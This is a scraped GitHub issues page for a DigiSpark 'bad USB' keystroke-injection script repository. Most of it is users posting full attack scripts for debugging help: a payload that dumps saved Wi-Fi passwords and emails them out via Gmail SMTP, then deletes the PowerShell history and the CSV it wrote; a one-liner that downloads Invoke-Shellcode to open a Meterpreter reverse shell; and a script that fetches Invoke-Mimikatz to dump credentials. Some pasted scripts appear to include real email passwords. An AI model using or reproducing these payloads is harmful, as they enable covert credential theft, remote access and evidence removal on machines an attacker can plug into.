cedarctic / digispark-scripts Goto Github PK
View Code? Open in Web Editor NEWUSB Rubber Ducky type scripts written for the DigiSpark.
License: MIT License
USB Rubber Ducky type scripts written for the DigiSpark.
License: MIT License
im trying it on windows 10.....is there a Manual or Dictonary for the codes in Digi?
so i need to delete the account that was put on by the create_account script but i dont know how to because it doesnt show up and it wont let me delete the user file, can someone help me?
exit status 1
too many decimal points in number
getting this error while uploading code
please resolve as soon as possible
thanks
On the port for nc -lp 4444
you wrote nc -lp 444
rather than the 4444
To use Digispark as BAD USB or rubber ducky , I first need to install its drivers on victim computer and then use Digispark which is kind of difficult
For rapid shell I keep on getting the error: Invoke-Shellcode: A parameter cannot be found that matches parameter name 'Payload'
After flashing it with the window jammer is there a way to be able to flash it with a new script without it just closing IDE
This doesnt work:
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass "(netsh wlan show profiles) | Select-String ':(.+)$' | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv" "));
replace with this:
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass "(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv""));
I have been trying to get this code working and i can't seen to get it working the temp.csv file won't create and it won't send the email and i just get an error. it has been re written to work with a UK copy of windows 10 as you cannot use ALT+y
code:
//This DigiSpark script writes the wireless network credentials to a csv file and emails it.
//Credits to p0wc0w.
//NOTE about the New Version of this script: The older script stopped working on newer builds of Windows 10
//since Windows 10 now require an elevated cmd or powershell to execute these commands. This version should
//be faster (better, stronger...) and should work on all builds of Windows 10. For previous versions
//of Windows or simply older builds of Windows 10, the other version works like a charm.
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_Y, KEY_ARROW_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\temp.csv;exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_Y, KEY_ARROW_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('email no @gmail.com', 'Password'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = '[email protected]'; $ReportEmail.To.Add('[email protected]'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail);exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_Y, KEY_ARROW_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("del temp.csv"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("exit"));
for(;;) { /empty/ };
}
any hep would be greatly appreciated
I am attempting to use the wifi mailer payload and I'm not sure about a few things... on line 22 it says the following:
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\\temp.csv;exit"));
Am I supposed to change anything on this line (such as "PROFILE_NAME" or "PASSWORD")?
also on line 31 it says:
DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('GMAIL_USERNAME', 'GMAIL_PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'SENDER_MAIL'; $ReportEmail.To.Add('RECEIVER_MAIL'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail);exit"));
I believe I am supposed to change GMAIL_USERNAME , GMAIL_PASSWORD , SENDER_MAIL , and RECEIVER_MAIL when changing these do I put in the full "[email protected]" or just the part of the email before the @ symbol?
Also do I need admin for any of these payloads?
Thank you for the help
When in plug the digispark in my laptop it does everything. But i dont get the email. Does anyone have an idea what i can do?
(my english is pretty bad im sorry)
I'm new to this but I can easily navigate around. Can someone please guide me adding arrow key for example KEY_ARROW_UP to digikeyboard.h file that I can't seem to find thanks in advance.
Persistent_Fork_Bomb I can't turn it off. It keeps creating new cmd tad in windows. My windows hang how can i stop it?
sketch_nov12a:56:0: error: unterminated argument list invoking macro "F"
exit status 1
unterminated argument list invoking macro "F"
and it high lights this for(;;){ /empty/
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("MODE 20,1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass "(netsh wlan show profiles) | Select-String ':(.+)$' | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("MODE 20,1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass "$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('jakubsvab2004', 'mypasswordhaha'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = '[email protected]'; $ReportEmail.To.Add('[email protected]'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'K Emailu přidán soubor s údajemy.'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail)""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("MODE 20,1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass "del (Get-PSReadlineOption).HistorySavePath""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("MODE 20,1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("del temp.csv"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /empty/ }
}
i made this script. Its same like wifi profile mailer but i changed saving wifi password and SSID bcs original version dont save it. But this dont workk. when i try to uload it says : stray '$' in program.
what should i do?
when i try save password it works but email dont work
DigiSpark-Scripts/Hi_Chewy
I can't stop the music! please help!
will the digispark driver work with atmel atmega32u4 bad usb?
WiFi_Profile_Mailer sketch does not work.
I entered USERNAME and PASSWORD where requested and filled in.
I use an Italian keyboard with Windows 10.
Could it be the keyboard layout? Eventually how can I edit the sketch?
Thank you.
Theoretically it is possible to detect which OS the USB stick is running on. While the OS itself never identifies any Information about the OS or host hardware, it does use a handshake to authenticate with the USB device.
The sequence of this handshake is slightly different in every OS and has got some unique properties.
The only thing we would need to autodetect the OS is to code the ducky to save the handshake.
Reference:
https://youtu.be/nuruzFqMgIw
Error when uploading script:
msf:50:135: error: expected ';' before 'windows'
DigiKeyboard.println("powershell "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/14bZZ0c'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost <192.168.1.51> -Lport <4444> -Force""); // Edit both Lhost and Lport according to your setup
^
exit status 1
too many decimal points in number
//This DigiSpark script writes the wireless network credentials to a csv file and emails it.
//Credits to p0wc0w.
#define kbd_tr_tr
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("MODE CON: COLS=15 LINES=1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass "(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(600);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(600);
DigiKeyboard.print("MODE CON: COLS=15 LINES=1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass "$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('[email protected]', 'password'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = '[email protected]'; $ReportEmail.To.Add('[email protected]'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail)""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("MODE CON: COLS=15 LINES=1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass "del (Get-PSReadlineOption).HistorySavePath""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("MODE CON: COLS=15 LINES=1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("del temp.csv"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /empty/ }
}
script doesn't seems to be working,it does send a temp.csv file but the file is empty
I'm using this script on Windows 10
I uplaoded multiple times a script to my rubberducky and tested on a few windows instances. But I receive the email with no password and in some cases I dont receive the email.
Hi and thanks for your nice project.
Could you please tell me how you converted rubber ducky scripts to Arduino code using DigiKeyboard.h library?
After I run everything, onece I get the email and open it, the csv file is just blank. There is nothing there.
//This DigiSpark script writes the wireless network credentials to a csv file and emails it.
//Credits to p0wc0w.
//NOTE about the New Version of this script: The older script stopped working on newer builds of Windows 10
//since Windows 10 now require an elevated cmd or powershell to execute these commands. This version should
//be faster (better, stronger...) and should work on all builds of Windows 10. For previous versions
//of Windows or simply older builds of Windows 10, the other version works like a charm.
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\temp.csv;exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("$path = join-path $env:userprofile 'temp.csv'; $SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('[email protected]', 'Hibyesay12#'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = '[email protected]'; $ReportEmail.To.Add('[email protected]'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add($path); $SMTPInfo.Send($ReportEmail);exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("del temp.csv"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /empty/ }
}
hi. i have tried both file. the old file send a blank file in my email. the new file ino don't open powershell. i have used a KeyboardITA.h for italian keyboard. with your other file works well.
/*
#include <Arduino.h>
#include <avr/pgmspace.h>
#include <avr/interrupt.h>
#include <avr/delay.h>
#include <string.h>
#include "usbdrv.h"
#include "scancode-ascii-table.h"
// TODO: Work around Arduino 12 issues better.
//#include <WConstants.h>
//#undef int()
typedef uint8_t byte;
#define BUFFER_SIZE 2 // Minimum of 2: 1 for modifiers + 1 for keystroke
static uchar idleRate; // in 4 ms units
/* We use a simplifed keyboard report descriptor which does not support the
/* Keyboard usage values, see usb.org's HID-usage-tables document, chapter
#define KEY_A 4
#define KEY_B 5
#define KEY_C 6
#define KEY_D 7
#define KEY_E 8
#define KEY_F 9
#define KEY_G 10
#define KEY_H 11
#define KEY_I 12
#define KEY_J 13
#define KEY_K 14
#define KEY_L 15
#define KEY_M 16
#define KEY_N 17
#define KEY_O 18
#define KEY_P 19
#define KEY_Q 20
#define KEY_R 21
#define KEY_S 22
#define KEY_T 23
#define KEY_U 24
#define KEY_V 25
#define KEY_W 26
#define KEY_X 27
#define KEY_Y 28
#define KEY_Z 29
#define KEY_1 30
#define KEY_2 31
#define KEY_3 32
#define KEY_4 33
#define KEY_5 34
#define KEY_6 35
#define KEY_7 36
#define KEY_8 37
#define KEY_9 38
#define KEY_0 39
#define KEY_ENTER 40
#define KEY_SPACE 44
#define KEY_F1 58
#define KEY_F2 59
#define KEY_F3 60
#define KEY_F4 61
#define KEY_F5 62
#define KEY_F6 63
#define KEY_F7 64
#define KEY_F8 65
#define KEY_F9 66
#define KEY_F10 67
#define KEY_F11 68
#define KEY_F12 69
#define FRECCIA_SU 0x52
#define FRECCIA_GIU 0x51
#define FRECCIA_SX 0x50
#define FRECCIA_DX 0x4F
class DigiKeyboardDevice : public Print {
public:
DigiKeyboardDevice () {
cli();
usbDeviceDisconnect();
_delay_ms(250);
usbDeviceConnect();
usbInit();
sei();
// TODO: Remove the next two lines once we fix
// missing first keystroke bug properly.
memset(reportBuffer, 0, sizeof(reportBuffer));
usbSetInterrupt(reportBuffer, sizeof(reportBuffer));
}
void update() {
usbPoll();
}
// delay while updating until we are finished delaying
void delay(long milli) {
unsigned long last = millis();
while (milli > 0) {
unsigned long now = millis();
milli -= now - last;
last = now;
update();
}
}
//sendKeyStroke: sends a key press AND release
void sendKeyStroke(byte keyStroke) {
sendKeyStroke(keyStroke, 0);
}
//sendKeyStroke: sends a key press AND release with modifiers
void sendKeyStroke(byte keyStroke, byte modifiers) {
sendKeyPress(keyStroke, modifiers);
// This stops endlessly repeating keystrokes:
sendKeyPress(0,0);
}
//sendKeyPress: sends a key press only - no release
//to release the key, send again with keyPress=0
void sendKeyPress(byte keyPress) {
sendKeyPress(keyPress, 0);
}
//sendKeyPress: sends a key press only, with modifiers - no release
//to release the key, send again with keyPress=0
void sendKeyPress(byte keyPress, byte modifiers) {
while (!usbInterruptIsReady()) {
// Note: We wait until we can send keyPress
// so we know the previous keyPress was
// sent.
usbPoll();
_delay_ms(5);
}
memset(reportBuffer, 0, sizeof(reportBuffer));
reportBuffer[0] = modifiers;
reportBuffer[1] = keyPress;
usbSetInterrupt(reportBuffer, sizeof(reportBuffer));
}
size_t write(uint8_t chr) {
if(chr == '@') {
sendKeyStroke(51, MOD_ALT_RIGHT);
}
else if(chr == '#') {
sendKeyStroke(52, MOD_ALT_RIGHT);
}
else if(chr == '[') {
sendKeyStroke(47, MOD_ALT_RIGHT);
}
else if(chr == ']') {
sendKeyStroke(48, MOD_ALT_RIGHT);
}
else if(chr == '{') {
sendKeyStroke(47, MOD_ALT_RIGHT | MOD_SHIFT_RIGHT);
}
else if(chr == '}') {
sendKeyStroke(48, MOD_ALT_RIGHT | MOD_SHIFT_RIGHT);
}
else if(chr == '(') {
sendKeyStroke(KEY_8, MOD_SHIFT_RIGHT);
}
else if(chr == ')') {
sendKeyStroke(KEY_9, MOD_SHIFT_RIGHT);
}
else if(chr == '/') {
sendKeyStroke(KEY_7, MOD_SHIFT_RIGHT);
}
else if(chr == '"') {
sendKeyStroke(KEY_2, MOD_SHIFT_RIGHT);
}
else if(chr == '$') {
sendKeyStroke(KEY_4, MOD_SHIFT_RIGHT);
}
else if(chr == '%') {
sendKeyStroke(KEY_5, MOD_SHIFT_RIGHT);
}
else if(chr == '=') {
sendKeyStroke(KEY_0, MOD_SHIFT_RIGHT);
}
else if(chr == ''') {
sendKeyStroke(45);
}
else if(chr == 'ì') {
sendKeyStroke(46);
}
else if(chr == 'è') {
sendKeyStroke(47);
}
else if(chr == '+') {
sendKeyStroke(48);
}
else if(chr == 'ù') {
sendKeyStroke(49);
}
else if(chr == 'ò') {
sendKeyStroke(51);
}
else if(chr == 'Ã ') {
sendKeyStroke(52);
}
else if(chr == '\') {
sendKeyStroke(53);
}
else if(chr == ',') {
sendKeyStroke(54);
}
else if(chr == ';') {
sendKeyStroke(54, MOD_SHIFT_RIGHT);
}
else if(chr == '.') {
sendKeyStroke(55);
}
else if(chr == ':') {
sendKeyStroke(55, MOD_SHIFT_RIGHT);
}
else if(chr == '-') {
sendKeyStroke(56);
}
else if(chr == '_') {
sendKeyStroke(56, MOD_SHIFT_RIGHT);
}
else if(chr == '|') {
sendKeyStroke(53, MOD_SHIFT_RIGHT);
}
else {
uint8_t data = pgm_read_byte_near(ascii_to_scan_code_table + (chr - 8));
sendKeyStroke(data & 0b01111111, data >> 7 ? MOD_SHIFT_RIGHT : 0);
}
return 1;
}
//private: TODO: Make friend?
uchar reportBuffer[2]; // buffer for HID reports [ 1 modifier byte + (len-1) key strokes]
using Print::write;
};
DigiKeyboardDevice DigiKeyboard = DigiKeyboardDevice();
#ifdef __cplusplus
extern "C"{
#endif
// USB_PUBLIC uchar usbFunctionSetup
uchar usbFunctionSetup(uchar data[8]) {
usbRequest_t *rq = (usbRequest_t *)((void *)data);
usbMsgPtr = DigiKeyboard.reportBuffer; //
if ((rq->bmRequestType & USBRQ_TYPE_MASK) == USBRQ_TYPE_CLASS) {
/* class request type */
if (rq->bRequest == USBRQ_HID_GET_REPORT) {
/* wValue: ReportType (highbyte), ReportID (lowbyte) */
/* we only have one report type, so don't look at wValue */
// TODO: Ensure it's okay not to return anything here?
return 0;
} else if (rq->bRequest == USBRQ_HID_GET_IDLE) {
//usbMsgPtr = &idleRate;
//return 1;
return 0;
} else if (rq->bRequest == USBRQ_HID_SET_IDLE) {
idleRate = rq->wValue.bytes[1];
}
} else {
/* no vendor specific requests implemented */
}
return 0;
}
#ifdef __cplusplus
} // extern "C"
#endif
#endif // __DigiKeyboard_h__g g [ { ^ ( } ] g g @ # g g - ) = Ã $ g g [ { ^ ( } ] g g @ #
WiFi_Profile_Mailer_New:9: error: redefinition of 'void loop()'
void loop() {
^
WiFi_Profile_Mailer:7: error: 'void loop()' previously defined here
void loop() {
^
exit status 1
redefinition of 'void loop()'
If I run program the board with the below It uploads and runs just fine But If I un-comment out any other lines it uploads but then gives me USB not recognized even just un-commenting out the Stop Process part. Any help to get past this would be appreciated
`#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("powershell.exe");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("Start-Process PowerShell -Verb RunAs");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("$DesktopPath = [Environment]::GetFolderPath('Desktop'); cd $DesktopPath");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/7a39a55f127b1aeb951b3d9d80c6dc64500cacb5/data/module_source/credentials/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds > 'PWLog.csv'; $m");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
// DigiKeyboard.print("Stop-Process -Name PowerShell -Force");
// DigiKeyboard.delay(500);
// DigiKeyboard.sendKeyStroke(KEY_ENTER);
////-------------email log via gmail
//DigiKeyboard.print("$SMTPServer = 'smtp.gmail.com'");
// DigiKeyboard.sendKeyStroke(KEY_ENTER);
// DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)"));
// DigiKeyboard.sendKeyStroke(KEY_ENTER);
// DigiKeyboard.print("$SMTPInfo.EnableSsl = $true");
// DigiKeyboard.sendKeyStroke(KEY_ENTER);
// DigiKeyboard.print("$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('Username', 'Password');");
// DigiKeyboard.sendKeyStroke(KEY_ENTER);
// DigiKeyboard.print("$ReportEmail = New-Object System.Net.Mail.MailMessage");
// DigiKeyboard.sendKeyStroke(KEY_ENTER);
// DigiKeyboard.print("$ReportEmail.From = 'From Email'");
// DigiKeyboard.sendKeyStroke(KEY_ENTER);
// DigiKeyboard.print("$ReportEmail.To.Add('To Email')");
// DigiKeyboard.sendKeyStroke(KEY_ENTER);
// DigiKeyboard.print("$ReportEmail.Subject = 'Duck Report'");
// DigiKeyboard.sendKeyStroke(KEY_ENTER);
// DigiKeyboard.print("$ReportEmail.Body = 'Attached is your duck report.' ");
// DigiKeyboard.sendKeyStroke(KEY_ENTER);
// DigiKeyboard.print("$ReportEmail.Attachments.Add('PWLog.csv')");
// DigiKeyboard.sendKeyStroke(KEY_ENTER);
// DigiKeyboard.print("$SMTPInfo.Send($ReportEmail)");
// DigiKeyboard.sendKeyStroke(KEY_ENTER);
// DigiKeyboard.delay(1000);
// DigiKeyboard.print("exit");
// DigiKeyboard.sendKeyStroke(KEY_ENTER);
////---------------------delete and end
// DigiKeyboard.print("del PWLog.csv");
// DigiKeyboard.sendKeyStroke(KEY_ENTER);
// DigiKeyboard.delay(300);
//
